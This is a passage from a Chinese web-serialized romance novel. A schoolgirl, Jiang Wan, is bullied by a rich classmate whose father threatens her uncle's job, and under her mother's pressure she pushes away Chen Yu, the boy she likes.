姜挽觉得奇怪,以往早上都是她和妈妈先起来,她舅舅和舅妈从不会起这么早,更别说这一大早吵架的情况了。 她贴近门去听,好一会儿才听明白是她舅舅和舅妈在吵架,好像是关于他舅舅工作的一些事情,具体的姜挽也听不懂,大抵感觉是她舅舅的工作遇到困难,要被降工资,没办法再满足家庭开销之类的。 期间她妈妈和外婆也开口劝过两句,可谭镜的声音太大,脾气又爆,基本是谁开口便怼谁,到最后,直到一声清脆的玻璃杯破碎的声音传来,这场争吵才算结束。 姜挽从卧室出来,客厅只剩沈曼和她外婆两个人,沈曼正拿笤帚整理着碎玻璃片,她外婆则是坐在沙发上抹眼泪。 姜挽要过去帮忙,被沈曼拒绝了:“我收拾就行,你赶紧洗漱去学校,不然一会儿该迟到了。” 姜挽点点头,可离开前,她还是想问一下今天这争吵的原因到底是因为什么:“刚才舅舅和舅妈是因为什么……” 话还没说完,就被沈曼打断了:“小孩子不要管大人的事情,好好学习才是最重要的,你赶紧去收拾,”说着,把她往卫生间推,顺便从钱包里拿了点零钱给她,“今天没时间给你做早饭了,你路上买点。” 虽说舅妈有时候对她确实是有些苛刻,可她们毕竟是借住在人家的房子里,所以见着他们刚才争吵,姜挽心里也不怎么得劲。更何况,这还涉及到她妈妈和外婆,就更会影响她的情绪了。 去学校的一路,姜挽都在想这件事情,太过出神,以至于没注意到差点和对面的人撞上。 姜挽反应过来后,忙道歉,可在看清对面的人后,那一句“对不起”在她嘴里转了好几圈也没说出来。 狭路相逢。 又是苏青眠和她的那几个小跟班,此时正站在姜挽对面挑衅地看着她,看来刚才差点和她们撞上,应该也不是巧合了。 姜挽没打算和她们纠缠,绕过她们,打算从另一条路走。 苏青眠却突然迈步向前拦住她,又让其他人在左右堵着,这样一来,姜挽就彻底没路可以走了。 姜挽和她们平视,眼底是坦荡的果敢与勇毅:“你们到底想干嘛?” 苏青眠不回她,而是轻蔑地笑了声,继而去和旁边的人说笑:“看到了没,现在的人都这么横了,真是越穷越横。撞了人不仅不道歉,竟然还这么理直气壮。” 旁边人也跟着她笑:“是啊,确实没见过,不过谁让人家有本事呢,能在陈屿在大庭广众之下替她撑腰。” “狐媚手段罢了,”苏青眠翻了个白眼,眼尾就差翘到天上去了,“都是穷人那些上不了台面的东西。” 姜挽皱着眉听她们说双簧,苏青眠这人虽说是讨厌,可以往从她嘴里也没听到“穷”这个字,今天她张口闭口都是“穷人”,莫名让姜挽觉得她是意有所指。 姜挽直接开口:“你到底想说什么?” “想说什么?就想说你穷呗!”苏青眠哈哈大笑,像是终于拿捏到了她的痛处,疯狂地在她的伤疤上跳舞,“想说你没有爸爸,想说你寄人篱下,想说你就是那种最卑贱,最最低级的穷人!” 她连说带笑,看起来很疯癫,可从她疯癫里,姜挽也看出了点其他的东西:“你查我?” “是啊,难道你还要和我谈隐私不成?像你这种人,我愿意花时间在你身上,就是对你最大的恩赐了。”苏青眠脸上的笑容逐渐变得扭曲,“你知道我爸爸是做什么的吗?陈屿家里又有什么样的背景吗?就凭你这样的身世,竟然还妄想插在我们中间,真是好笑。” 姜挽任由她说,安静听着,全程下来脸色都没变一下。苏青眠刚才的话要是说对她一点影响没有,那是不可能的。这些都是她心底最深层,最隐秘的东西。如今被人赤裸裸地扒出来,还是以这样的口吻来讽刺,她也是心痛难忍。 可言语而已,她见得多了,心痛只是暂时的,她不会被打倒,更不会因此就放弃。 “你说完了没?” 她这反应,有点超出苏青眠的预料了,苏青眠愣在原地,一时竟没回答。 趁着这个机会,姜挽推开她们走了。 身后传来她们的对话,隐约中姜挽好像听到在说什么“看来做的还不够”,“要让她爸爸再加点力道”之类的。 姜挽听不太明白,也就没怎么在意。想着最差不过也就是再被她们拦几回,还没到她不能承担的地步。 可她没想到,在她不知道的剧情里,这场风波早已蔓延到了其他的地方。 下午放学的时候,她提前收到沈曼的消息,说今天有点事就不去站台接她了,姜挽以为是因为她工作的原因,还叮嘱她不要太劳累,要多注意身体。 可回到家,还没进屋,就听到屋内传来一阵尖锐的争吵声,是她舅舅和舅妈,比早上的更甚,还夹杂骂人的话。 在门口犹豫了会儿,她还是选择推门进去了。入眼便是一片狼藉,抱枕、花瓶全被扔在地上,还有满地的水渍和垃圾,就连桌子和凳子也被移了位,正乱七八糟地横在客厅。 在这一片混乱中,她舅妈正叉着腰指着她舅舅的鼻子骂,而她妈妈则揽着外婆站在一边。 见她进来,沈曼忙过来拉她,想把她往房间送,可因为担心,姜挽没进去:“妈,这到底是怎么回事?” 这次沈曼没再瞒她,就是想瞒,她也瞒不住了:“是你舅舅的工作出了问题,可能会被降职,也可能会开除。” “开除?这么严重?”姜挽简直震惊,她舅舅的工作不错,在单位也有一定的地位,当初她进八中就是她舅舅帮忙安排的,“究竟是因为什么原因?” “不知道,”沈曼摇头,“具体你舅舅没说,听你舅妈说好像是得罪人了。” “得罪人?”也不知为何,姜挽的脑海里突然间就回想起了苏青眠上午的那句话,再让她爸爸加点力度之类的。 沈曼看她出神,还以为她被吓到了,便拉着她进屋:“你先进去写作业吧,这大人的事情你也不懂。” 姜挽点点头,离开前,特意朝舅舅那里看过去一眼,恰巧,舅舅也在看她,这一眼,包含的情绪太多,有挣扎,不舍,还有犹豫,姜挽一时间还以为自己看错了。 接连几天,谭镜和沈峰都处于一种争吵的状态,每天从早起就开始鸡飞狗跳,家里的每一个人都没能躲过。她外婆每天就是哭,她妈妈则是安慰陪着外婆,就连姜挽远在国外的表哥也被惊动了。 姜挽虽然尽力控制了,可一天两天还行,时间长了,尤其是在时刻关注她的人面前,难免还是会被发现一些不寻常。 “你这几天到底怎么了?是不是遇到什么事情了?”路灯下,长凳旁,陈屿从她手中接过小鱼干,直接一口送进了小酒嘴里,“这么短了还不松手,小酒都叫半天了。” “是吗?我没注意到。”姜挽缩回手,有点尴尬地捻了捻指尖,“可能是要考试了,我有点紧张。” “紧张?”陈屿拉她起来,在凳子上坐下,这会儿已经是冬天,两人说话间有一层薄薄的白雾,“你数学成绩不是已经提高了吗?还担心什么?”他顿了下,故意挑眉,“还是说,你想要我这个第一的位置?” 姜挽知道他是在故意逗她,索性也就开口道:“我要你就会给吗?” “你可以试试,或许你求我,我就同意了。” “算了,那我还是自己努力吧,况且被让出来的,感觉也没什么意思。” 陈屿笑了:“没看出来,你自尊心还挺强。” 姜挽反驳他:“那你确实应该反思反思了,我自尊心强也不是一天两天的事情了,这么长时间你都没看出来。” “这样啊,”他朝她靠近两分,微微的一缕淡香划破冬日的清寒,“那可能还得麻烦小姜老师告诉我,我具体应该从哪些方面反思呢。” 姜挽长睫颤了颤:“这种事,当然是得你自己思考,才有意义。” “行,懂了,”陈屿身体往后靠,懒散开口,“那要不要我写个几千字的检讨?” 姜挽想了想:“你要是想写的话,也不是不可以。” “你想的倒是挺美,”陈屿轻轻弹了下她的脑壳,“你这脑袋一天天的少想些乱七八糟的东西,还记得我和你说的吗,有事找我,我会帮你兜底。” 之前是通过广播,这次是他亲口在自己面前说这句话,姜挽只觉得有什么在她心头的位置轻轻碰了下,是他给的承诺。 “嗯。”她轻轻应了声。 可即便答应了,她也并不打算把这些告诉他。陈屿不是她情绪的垃圾桶,更没义务去听她说这些家长里短的事儿。 回去的路上,公交开得格外慢,中途更是一下子上来了好几个精神小妹一样的女孩,姜挽对这些不关注,也就不怎么在意,可这些人却像是有备而来,直接朝着她的方向就来了。 离得近了,姜挽才发现,又是苏青眠她们几个人。姜挽座位的旁边本来是有人的,见这架势,都怕被影响,也就快速移开了。 苏青眠在她旁边坐下,其他几个前后左右坐着,瞬间又把姜挽围在了中间。 姜挽压根没想到她们竟然会丧心病狂到这种地步,实在是觉得厌烦极了,起身就要走,却被苏青眠拦下:“别急着走啊,我们同学见面,你难道不想说说话吗?” 姜挽实在是忍不住,厌恶地甩掉她的手:“你们再这么骚扰我,我报警了。” “哈哈哈……” 又是一阵大笑,和那几人交换了眼神后,苏青眠靠近她,故意压低声音:“放心,我们今天来找你,不是为了为难你,是有事想和你说。” 姜挽直直看着她,眼底反着窗外的月色,衬得很亮。 苏青眠忍不住啧啧感叹:“是挺漂亮的,怪不得能把陈屿迷成那样,可惜……”后面的话她没说完,而是转了话题,“你舅舅家这段日子,应该不好过吧?” 一瞬间,她舅舅和舅妈每日的争吵,舅舅看她的那个挣扎的眼神,还有苏青眠之前说的要“加大力度”之类的话,全都联系在一起了…… “所以,这些都是你在背后搞鬼?”姜挽简直不敢相信,她家的势力竟然能大到这种地步,竟然能操控她舅舅的工作。 “话别说的这么难听,”苏青眠看着她,像看蝼蚁,“我只不过是让我爸爸吩咐了下面人几句话而已,搞鬼真的称不上。再说了,你们这种级别的货色,还用不上这么高级的词。” 姜挽这会儿还算冷静:“你就不怕我们举报吗?” “举报?”苏青眠像听到了什么笑话,轻蔑地看着她,“同样的手段,第一次你或许能够成功,可第二次就没那么好运了。” 之前因为录音的事情被她三言两语吓住了,一直是苏青眠的心结,后来回家侧面从她父亲那里打听之后才知道,那根本就不是事儿,所以她现在才会如此的有恃无恐。 “你尽管去,不会有人拦着你的,但在去之前,请你用脑子好好想想,要是举报有用的话,你舅舅在北城这么多年,他是不想吗?他不知道这么做吗?” 她这一句话,彻底浇灭了姜挽的希望,是啊,要是举报有用的话,她舅舅早做了,家里也不至于闹成那个样子。 “你到底想怎么样?” “想怎么样,我之前就说过了,至于怎么选择,完全在你自己。”苏青眠的眼神横扫过来,警告道,“对了,你也不要想着去找陈屿,就算他在学校里再厉害,外面的事情也没办法解决。这种事情,他要是想帮你的话,就必须得找他的父母。你想他因为这些事去求他父母吗?在他父母还不知道你是谁的时候,就用有色眼镜看你吗?” 其实不用她说,姜挽也不会去找陈屿,这件事实在不应该把他牵扯进来:“你真是疯了。” “疯吗?还好吧,”苏青眠冲着她笑,“我从进高中就喜欢陈屿,这几年不知道和他表白过多少次,虽然每次都被拒绝,可对其他的人,他也从来都不会多看两眼。可自从你来,一切就都不一样了,他关心你,在乎你,更会为了你一次又一次地打破原则。” 苏青眠将她上下打量:“要是一个家庭和我差不多的人也就罢了,偏偏是你这么一个出身如此差的,你和我们根本就不是一个阶层,你凭什么和我抢?” 姜挽想说她没有和她抢,况且感情也不是这样论的,可面对一个这样的,极度疯癫,却又把握着极端权利的人,她觉得说什么也没那么重要了。 “其他人的事情我不知道,我只跟着自己的心走。” 苏青眠像是不着急,甚至还有几分胜券在握的得意:“先别着急回答我,你先回家看看也不迟。要家庭,还是要他,你自己选。” 说罢这句,公交车刚好到站,她们一行人便又浩浩汤汤地下车了。 因为苏青眠的这些话,姜挽回家的一路都很紧张,可当她到家时,却发现今日的家里不仅没有吵架,反而安静得反常,一进门,客厅里的四双眼睛便都同时朝她看了过来。 她不知道的是,其实在她回来前,这里早已爆发了一场比以往任何一次都要严重的争吵,甚至谭镜和沈峰还动了手。 在谭镜的不断施压下,沈峰终于开口解释了缘由,这次的事情和姜挽有关,是有人刻意为之。而且上头也说了,开除他并不是对方的真正目的,只是为了让姜挽低头而已。 一听是这个原因,谭镜更生气了,话里话外骂人的话就没停过,什么“小小年纪不学好”,“上梁不正下梁歪”,“白眼狼”之类的话,说的沈曼脸上青白一片。 这会儿姜挽回来了,沈曼第一反应就是把她拽进房间。 “妈……” “别说话,跟我进去!” 一进屋,沈曼劈头便问:“你和那个男孩还有联系是不是?你们发展到哪一步了?是不是已经在一起了?” 虽说在回来的路上,姜挽已经做了一些心里建设了,可亲眼见到沈曼如此咄咄逼人,还是紧张得不行:“妈妈,你听我解释,不是那样的。” “解释什么?你还有什么好解释的?之前手链的事情我没追究,就是想给你一些空间,以为你自己能处理好,可你呢?你是怎么处理的?不仅还和他继续有联系,还把事情闹得越来越大,现在还对你舅舅的工作造成了影响,我真是没脸活了!” 姜挽被她扯着手腕,一直没办法挣脱,尝试着想解释:“舅舅工作的事情我也是才知道,我也没想到事情会发展成这样,可我和他真的没有和他在一起。” “我不会再相信你了,你不值得我信任!”沈曼偏执得厉害,一把甩开姜挽,就去翻她的书桌,“东西呢,找出来,我现在就把它扔掉!” 书桌里没有,她便又去翻衣柜,姜挽所有的东西都被她扔在地上,一片狼藉,但还是没找到。 很突然的,沈曼开始扇自己的耳光,一下下的,力度很大,边扇还边骂:“怪我,怪我没教育好你!是我的错!” 姜挽真是被吓到了,连忙扑过去抱住她:“妈妈,你到底怎么了?你别吓我?” “我吓你?”沈曼冷笑,眼睛里已经看不出来温情了,像是受了刺激之后的崩溃,不停重复,“我一心一意为你,就是想你好好学习,考个好大学,你呢?你是怎么对我的?你对得起我吗?你们一个两个都这么对我?我到底做错了什么?要被你们这么折磨?” 她几乎是在嘶吼了,姜挽意识到她应该指的不仅仅是这一件事,但这种情况下她也来不及多想,只得道歉:“是我的错,我做错了,我和你道歉,我改。” “真的?”听到这些,沈曼的神情才恢复了一些。 姜挽点头。 “那你以后都不要再和那个男孩见面和说话了。” 姜挽含着眼泪:“妈妈,你在逼我。” “我没有!”沈曼立即反驳,“是你!是你们!你们一个两个都在逼我!你爸爸是这样,你也是这样!说了多少次了,不要早恋,不要早恋,你就是不听!现在事情闹成这样,即便不是为了你舅舅的工作,我也会要求你必须和他断了!” 姜挽没明白这件事情和她爸爸又有什么关系,可这会儿也想不了太多,只得哀求道:“真的没有别的办法了吗?我们……” “没有!除非你不想认我了!你要和我断绝关系!” “你知道我不会的。” “那好,那你就听我的,和他断了,再不要有任何联系。要是你觉得自己开不了口的话,我可以去学校帮你解决,只不过,到时候可能会有点难看。” “不用,”姜挽听到有什么东西“咔咔”碎裂的声音,愣了会儿才反应过来,那声音似乎来自她的身体里面,“我自己可以解决。” 既然结果已经注定,那至少可以让她选择一个相对体面的方式。 陈屿那么好的一个人,他从没做错过什么,不应该被搅入这场漩涡,也更不应该承受这场难堪。 第33章 争吵 一夜无眠。 天光微亮的时候, 姜挽听到窗外有阵阵簌簌的声音,她拉开窗帘去看,果然就见漫天飞雪,一片清白。 下雪了, 这是她来北城后遇见的第一场雪, 却没想到竟是在这种情况下。 屋外传来敲门声, 接着房门从外面被打开, 姜挽知道是沈曼, 所以也就没有回头。 “早饭好了, 你先去洗漱,一会儿过来吃早饭。” “我知道……”一句话还没说完,随着姜挽的转身, 她只觉头晕得厉害, 下一秒便视力模糊, 重心不稳, 接着便倒下了地上。 意识还没完全消散前,她听到的最后一句是沈曼在叫她的名字。 姜挽觉得难受, 周围像是有很多人在走来走去, 身体也仿佛被禁锢,模模糊糊中, 沈曼昨晚的那些话又在耳边响起。 “你必须和他断开, 不能再有任何联系!” “你这么不懂事,你对得起我吗?” “你要是不按我说的做, 我就和你断绝关系!” …… 姜挽想解释, 却发现自己开不了口,想争取,又没有力气。她睫毛狠狠一抖, 猛地从黑暗中睁开眼。 是医院病房,入目一片白,方才她听到的来来回回走动的声音,应该就是这房间里的护士和家属了。 “呦呦,你醒了,”沈曼的声音在耳边响起,接着递过来一个水杯,“先喝点水。” 姜挽象征性地喝了两口,感觉嗓子好了点才开口:“我为什么会在这里?” “你晕倒了,”沈曼和她解释,“医生说是高烧引起的。” 可至于为什么会高烧,沈曼却没告诉她,急火攻心,精神压力大,这些都是医生根据姜挽的情况分析的原因。 “嗯,”而姜挽对这些似乎也并不怎么在意,她抬手想移动一下,却发现手背正输着液,索性再次躺下,“几点了?” “快十点了。” 原来已经过了这么长时间了。 窗外的雪还在下,树枝上落了一层厚厚的积雪。姜挽看着窗外,眼神没什么聚焦。 沈曼伸手要碰一下她的额头,被她躲开了。 沈曼有些尴尬,许是为了缓和气氛吧,她开口提到了沈峰:“早上你晕倒的时候,你舅舅可着急了,是他开车送你来医院,又是挂号,又是交钱的,一切都弄好了,人才离开。” 能感觉到沈曼是故意和她说这些的,姜挽闭着眼:“麻烦舅舅了。” “都是一家人,没什么麻烦不麻烦的,”沈曼看着她的背影,“对了,我早上和你们老师请过假了,你这几天都要输液,学校可以暂时不用去了。” “好的。”姜挽反正也不想去,她也没想好该如何面对陈屿。 身后的沈曼还没走,感觉到她还有话要说,可姜挽这会儿暂时已经没精力听了:“妈,我想睡一会儿。” “行,那你睡吧,我刚好去工作一会儿。” 姜挽这场病来得急又猛,最后彻底好全,已经是一个星期之后了。 这段时间陈屿没少联系她,可电话和视频次次都被挂断,微信更是一天也回不了一句,但他也没计较,因为知道她生病了,于是每天都在研究补身体的法子,想着等她回学校后好好帮她补一补。 姜挽去学校的当天,尤伽见到她,简直吓了一大跳:“呦呦,你怎么瘦了这么多!” 她身材本就纤细,现在这么一看,甚至是有些瘦弱了,一张小脸只剩巴掌大,衬得那双眼睛更大了。 “没事,可能是最近食欲不太好,吃的东西不多。” “那你这段时间可得多补补。” “嗯。” 陈屿也在旁边,虽没对她变瘦的这件事情评头论足,可眉间的褶皱从见到她就没松开过,他把提前准备好的营养品拿给她:“多吃点这个。” 哪知,姜挽却没接:“不用了,我妈妈给我买了不少。” “你妈妈买的你放在家里吃,这个就在学校吃,不冲突。” “真不用了。” 陈屿被拒绝两次,原本还有些不高兴,可一看她的脸色,瞬间变得有些无措。姜挽此刻的神色很严肃,眼神淡淡的,且脸上也没了以往的那种亲昵感。 她好像,不高兴了。 陈屿有些不安:“你怎么了?是不是我哪里惹你不高兴了?” 姜挽根本就不敢去看他,借着翻书的动作,用力控制着自己的情绪:“不是,我就是觉得不需要而已。” 陈屿有点慌了,开始来回思考自己这几天的行为,最后也没想出个所以然,只得出一条,可能是因为他这几天和她联系少了。 他没犹豫,直接开口:“如果是因为我这几天很少联系你,那我可以解释,我不是不想联系你,只是担心会打扰到你休养,而且……” “陈屿,”姜挽打断她,用力咬了咬自己的下唇,这才抬眸去看他,“我没有因为这件事情生气。” “那是因为什么?” “没有什么,你想多了。” “你没说真话。”陈屿很笃定。 姜挽神色一黯:“随你吧,你一定要这么想,我也没办法。” “你……”陈屿看着她,想说又不敢说,想生气也发不起脾气,最后,连质问都带着委屈的口吻,“你到底怎么了?” 这个问题姜挽没再回答,而是直接用写作业的方式表达了拒绝和他继续沟通。 陈屿见此,虽不得已,可也没再问。 他们之间这不快的氛围一直持续了一天,放学后,姜挽也没和他打招呼,背起书包便走了。陈屿叹了一口气,默默跟在她身后。 好几天没见小酒了,今天再见,发现它比之前胖了不少,看来陈屿这几天把它照顾得很好。 姜挽正蹲下看它吃小鱼干,身旁突然落下一道高大的影子,不用看,她都知道是谁。抬手擦了擦眼角,她起身打算离开。 陈屿却突然拦住她:“我想了一天,你应该是因为生病的原因,所以心情不大好。要是你今天实在不想和我说话的话,没关系,我可以等,等到你明天心情好点了再找你。” 一瞬间,姜挽眼尾狠狠一跳,她都这样对他了,他却还在帮她找借口,她觉得自己卑鄙极了,也残忍极了。 夜风吹来,她撩一把被风吹乱的额发:“你真的不用这么做。” 陈屿看着她,很固执:“你已经不理我了,难道连我等待的机会也要剥夺吗?” 姜挽别开脸,长睫颤了颤:“随你吧。” 一连几天,他们二人之间的氛围都是这么不冷不热的,陈屿倒是也没再追问什么,只不过不管姜挽做什么,都会默默跟在她身后。 他以为只要耐心等待,总能等到她情绪好转的那一天,却没想到这一天还没来,却在某天进教室时,突然发现姜挽换座位了。 由原来他的同桌,换到了离他恨不得八百米远的的地方! “操!”陈屿是真控制不住,也不管是不是早自习,周围有没有其他人,他扔下书包,扯着姜挽的手腕就出了教室。 姜挽震惊极了,一边被他拉着走,一边挣:“陈屿,你放开我!” “别动!”他话虽不重,却是有史以来对姜挽最凶的一次。 清晨的风很冷,呼呼刮在脸上,夹杂着晨起的雾气,让姜挽有些睁不开眼睛。陈屿的步子很大,她几乎是被他拉着跑。 “你到底要带我去哪里?” 陈屿不回答,只一路闷头走。 就在姜挽以为陈屿会以这种速度将她带出学校时,他却突然停下来了,停在教学楼后面的一片小树林,平时很多情侣没事都会来的地方。 刚停下,陈屿便劈头盖脸一顿质问:“为什么要换座位?你换座位为什么不提前和我说?”他虽吼得凶,可那个激动的样子,分明是在心慌。 姜挽手腕被他扯得痛,一边揉着手腕,一边还要忍住刚才因为冷风灌进去,此刻有些痉挛的胃部:“换不换座位,是我自己的事情。” “姜挽!”陈屿突然吼,他是真被她气到了,两边的太阳穴突突跳着,“你是不是真以为我没有脾气?” 姜挽沉默了,她倒是希望他有脾气,狠狠地发出来,再把她羞辱一顿,也好过现在看他这痛苦的样子。 她不说话,陈屿误以为她是默认了:“这件事情,你今天不给我一个交代,我是不会让你回教室的,我说到做到!” 换座位这事,其实姜挽也是昨晚才知道的,是沈曼偷偷背着她给老师打电话要求的。可这会儿,她却不能这么说:“目前这个阶段,我还是觉得学习最重要,不想因为其他事情分心。” “和我坐一起,难道就会影响你学习吗?这两件事情并不冲突,之前不是证明过吗?”陈屿有些急,着急地想要证明些什么,“你不要换,我还可以像以前那样帮你补习数学,只会让你的成绩提升,不会影响你的。” 姜挽攥紧指尖,逼迫自己开口:“可我现在已经不需要补习了。” 果然,听到她这句话,陈屿眼中当即闪过一抹刺痛,不过他很快调整过来:“不需要补数学也没关系的,我还可以帮你补其他的,你知道的,我其他学科也很好。” 这几乎相当于是祈求了,此刻,他站在姜挽面前,低着头,像一个孤注一掷的赌徒,情为码,爱为注,只希望她能再给他一次机会。 这么近的距离,姜挽和他四目相对,实在是不知道该说些什么。 陈屿便乘胜追击:“我知道,你是因为你妈妈,对不对?她不让你和男生接触,但我说过我可以等,等你毕业,等我们到……” “真的不关其他人的事,”姜挽不忍心听他再说下去,“是我自己的原因,我自己不想再和你联系了,不想你再影响到我学习了。” 意识到她是铁了心之后,陈屿彻底慌了,情绪上头,他开始口无遮拦:“你到底有没有心?在你心里,你究竟把我当什么了?” “我说过了,同学。” “你以前不是这样的。” “我一直都是,自卑,胆小又自私,是你不够了解我罢了。” “那我们之前的那些算什么?送你回家,一起吃饭,还有和你一起看的风景,”说到这里,陈屿似乎很难受,他重重吸了一口气,才继续道,“你告诉我,这些都是普通同学之间会做的吗?你也会和其他普通同学去做这些吗?” 胃里那股痉挛的感觉又来了,姜挽皱着眉:“是,如果这些行为对你造成了误解的话,那我现在和你道歉。” “我他妈不要你给我道歉,我要你承认那些过往,我要你别躲着我,别把我推开!”陈屿也不想这样,可他实在是控制不住,额头上的青筋不自觉绷了起来,脸颊和脖子全红了。 见他这样,姜挽想说话,可胃里那股感觉又加重了,甚至加深到她的整个腹部,她不得不用手撑着弯下腰:“我……” 刚开口一个字,便“哇”的一声吐了出来,可她这几天基本没吃什么,也就早上喝了一杯牛奶,吐完那杯牛奶后,便全是清水了。 见她这样,陈屿也吓到了,以为是自己刚才把她逼急了,自责不已,忙轻拍着她的后背,小声询问:“怎么回事?需不需要看医生?我送你去校医院看看吧?” 姜挽摇头,她不想去。她的身体她自己知道,本来前阵子生病就没好全,再加上刚才胃里受了风,又因为太心痛,情急之下,才会吐出来。 “你能不能帮我去买瓶水?”她这个狼狈的样子,至少要清理一下才能回教室。 “好,那你在这等我。”陈屿已经全然没了刚才的咄咄逼人,眼底全是心疼和自责,将她扶在凳子上坐下后,忙朝着超市跑去。 陈屿来去基本都是用跑,所以一共也没花几分钟,而且他很细心,专门挑的温水,将水递给姜挽,他还是不放心:“真的不用去校医院吗?” 姜挽接过:“谢谢,不用。” 她先漱了口,又倒出来一点在手心,拍了拍额头的位置,剩下半瓶,她也没浪费,直接喝了。 一切做完,姜挽起身往教室走,这次陈屿没再拦她,而是默默跟在她身后,像一个犯了错的孩子。 往后几天,陈屿也没再敢做出出格的事情,他总觉得上次姜挽会吐,是因为他的原因,心中一直很愧疚。怕再次影响到她,虽然好几次他都想再去找她,可还是硬生生压下了。 她们二人如今闹成这些,身边人不可能不知道。陈屿心情不好,孟云程问他什么他都不说,姜挽也一样,而且这件事情她本就想瞒着大家,所以尤伽问的时候,她也没说什么。 “呦呦,你和陈屿之间是不是发生了什么?” “没有。”姜挽垂下眼睫,明显不想讨论这个话题。 “要是有什么的话,你可以告诉我,虽然我在谈恋爱这方面没什么经验,但有时候就是当局者迷,旁观者清,或许我也可以帮你分析分析。” 既然打算和陈屿断了,姜挽也就不想其他人再误会:“我们没什么特别的关系,一直以来都是同学,所以也不存在发生什么。” 这样的姜挽好冷,尤伽很不适应,其实从她这次生病回来后,尤伽就感觉她和之前不一样了。 以前的她虽说也不爱凑热闹,可那只是有点内向,现在完全不一样了。姜挽变得更不爱说话,对什么都不感兴趣了,偶尔和她眼神对上,也是一片沉寂。说难听点,那眼神用“心如枯槁”来形容都不为过。 可这毕竟是他们两人之间的事情,尤伽也不好多说什么:“好吧,既然你这么说,那我也就不多问了,只是你要记住,不管发生了什么,你都还有我这个朋友。” “我知道的,谢谢你。”姜挽露出了这么多天难得一见的笑容。 虽然惨淡,但好歹也是个笑容,尤伽叮嘱她:“不要想太多,凡事还是要以自己为主。” “嗯,我会的。” 尤伽这边是放弃了,可孟云程那边却没有,虽说他很多时候都不靠谱,可有一条却没话说,那就是对待朋友。 中午,食堂。 “你看到陈屿最近那个样子没,我和他认识这么长时间,还是第一次见他这么消沉,那个样子,哎……”孟云程似乎说不下去了,“不行,我得找个方法帮帮他。” “怎么帮?”尤伽拿筷子挑着花椒,今天这午饭放了花椒太多,简直没法吃,“你看他们两个那情况,像是能帮的吗?” “所以请你吃饭,一起想办法呀。” 办法尤伽也想过,只是一直没想到合适的。 “要不这样,”孟云程朝她靠近两分,凑近她的耳朵,“我们兵分两路……” 第34章 决绝 尤伽说今晚要请她吃饭, 一开始听到这个消息的时候,姜挽是不打算去的。可尤伽很坚持,说她们这么久都没有好好聚一聚了,而且她前段时间生病, 也需要吃一顿好的补补, 姜挽推迟不过, 也就答应了。 去之前, 她照例需要提前告知沈曼, 因为她这段时间的“良好表现”, 沈曼破天荒地竟然同意了,只是交代她不要在外面过多逗留,吃完饭就赶紧回来。 放了学, 姜挽和尤伽一起走, 她原本还以为尤伽订的可能是火锅或者炒菜之类的家常饭店, 没想到却被带着走了一条之前从未走过的路。 穿过一段闹市区, 再绕过几栋写字楼,流光溢彩的街尾, 姜挽一抬头, 发现是一家西餐厅。 就是那家北城美食排行榜上名列前茅,各大网红博主争相测评的打卡圣地。 姜挽有点犹豫:“不用在这么高档的地方吧?” “没事, 花不了多少钱, ”尤伽劝她,“再说了又不是经常来, 偶尔一次而已。” 即便如此, 姜挽也觉得这样有些过于奢侈了,她不想去了,可尤伽却说套餐已经买好了, 现在就算不去,钱也没办法退了。 姜挽没办法,只能硬着头皮跟着她,可进了门,却发现很奇怪,明明现在就是饭点,但这么大的餐厅,却一个顾客都没有。 看现场的布置和气氛,又不像是停业,更像是被包场了…… “今天这里是被包场了吗?”她问尤伽。 尤伽有点闪躲:“我也不是很清楚,我们先去包厢吧。” 越往里走,姜挽就越是肯定了自己的猜测,一路随处可见鲜花和气球,还有循环播放的音乐。更巧合的是,竟然还是那首《Strawberries & Cigarettes》。 到包厢门口,姜挽突然意识到了什么,她有点不敢往前了。可此刻已经来不及了,门一打开,果然陈屿就站在门后,他身后是孟云程。 一瞬间,姜挽便什么都明白了,原来请客,吃饭,带她过来,全都是他们一早计划好的,目的就是为了撮合她和陈屿。 被这样“算计”,她却并不觉得生气,只觉得胸腔里都是承受不住的情谊,满得下一秒就要从她的眼角溢出来了。 她使劲掐着自己的掌心,言不由衷:“尤伽,抱歉,我还有事,得先走了。” “呦呦,你先别……” 尤伽的话还没说完,姜挽就已经转身走了,紧接着就看见包厢里一道身影也已经飞快地冲了出去,朝着她离开的方向去了。 “哎……”她叹一口气,真是不知道该怎么办了。 跟着姜挽出来的陈屿却并没有追上她,而是一直跟在她身后,始终和她保持着不远不近的距离。 姜挽在前面走,也能看到身后的那道身影,一开始她以为他是有话要说,为了避开他,所以走得格外快。但后来发现他并没有要拦下她的意思,始终和她保持着不远不近的距离,反而是她自己有些沉不住气了。 姜挽深吸一口气,停了下来,果不其然,身后的脚步声也停了。 北城冬日室内外温差大,室内虽然暖和,可室外却冷如冰窖。转身的功夫,姜挽这才注意到他没穿外套,他本就皮肤白,此时被冻,就更加显得没血色了。 为了让他赶紧回去,姜挽不得不违心开口:“你到底要跟我到什么时候?能不能不要再跟着我,让我一个人安静一会儿。” 这是迁怒,暴躁,是毫无理由的发脾气,可陈屿却没生气,而是始终温和地看着她,指了指不远处的公交站台:“看到你上车,我就回去。” 一瞬间,姜挽心脏骤疼,她不明白,世界上怎么会有他这么傻的人。被推开,被抛弃,甚至是被毫无理由地辱骂,竟然还能做到如此对她。 眼泪是什么时候流下来的,她自己都不知道,直到看到陈屿上前两步,本来打算伸手帮她擦,可能是觉得不合适,很快又换了纸巾递给她,姜挽这才反应过来。 她别开脸,没接他的纸巾,而是抬手胡乱擦了一把。 “明明是你在推开我,你哭什么呢?” 姜挽不想聊这个话题:“你回去吧。” 陈屿没动:“别生尤伽和孟云程的气,是我让他们这么做的。” 姜挽没回答,而是直接换了话题:“以后不要再做这种事情了。” 说罢,她没再多停留,而是头也不回地离开了。 背后传来一声叹息,姜挽听得不真切,她宁愿相信那是风。 孟云程接到陈屿的电话时,脸色不怎么好看,全程都没怎么说话,“嗯”了几句后便挂断了电话。 尤伽在旁边一直屏息凝神,电话一挂断,便立马开口问道:“怎么样?陈屿把呦呦追回来了吗?” 孟云程叹一口气:“没有,姜挽回家了,他也准备回家了,让咱们也早点回家。” “啊?怎么会这样?”尤伽很沮丧,“我以为能成的,以我对呦呦的了解,她对陈屿绝对是有感觉的,只是不知道为什么,这次回学校后,她突然变了好多。” 折腾这么长时间,又是出谋划策,又是包场安排的,最后还没成功,孟云程也觉得泄气:“这感情的事实在是复杂,搞不懂。” 既然不懂,索性先吃饭吧,他将牛排切成小块,然后递给尤伽。 尤伽本来是不想吃的,但一闻到这个香味,肚子就开始咕咕直叫,但开动前还是短暂地犹豫了一下:“他们两个在吵架,咱们偷偷在这吃饭,是不是不太好?” 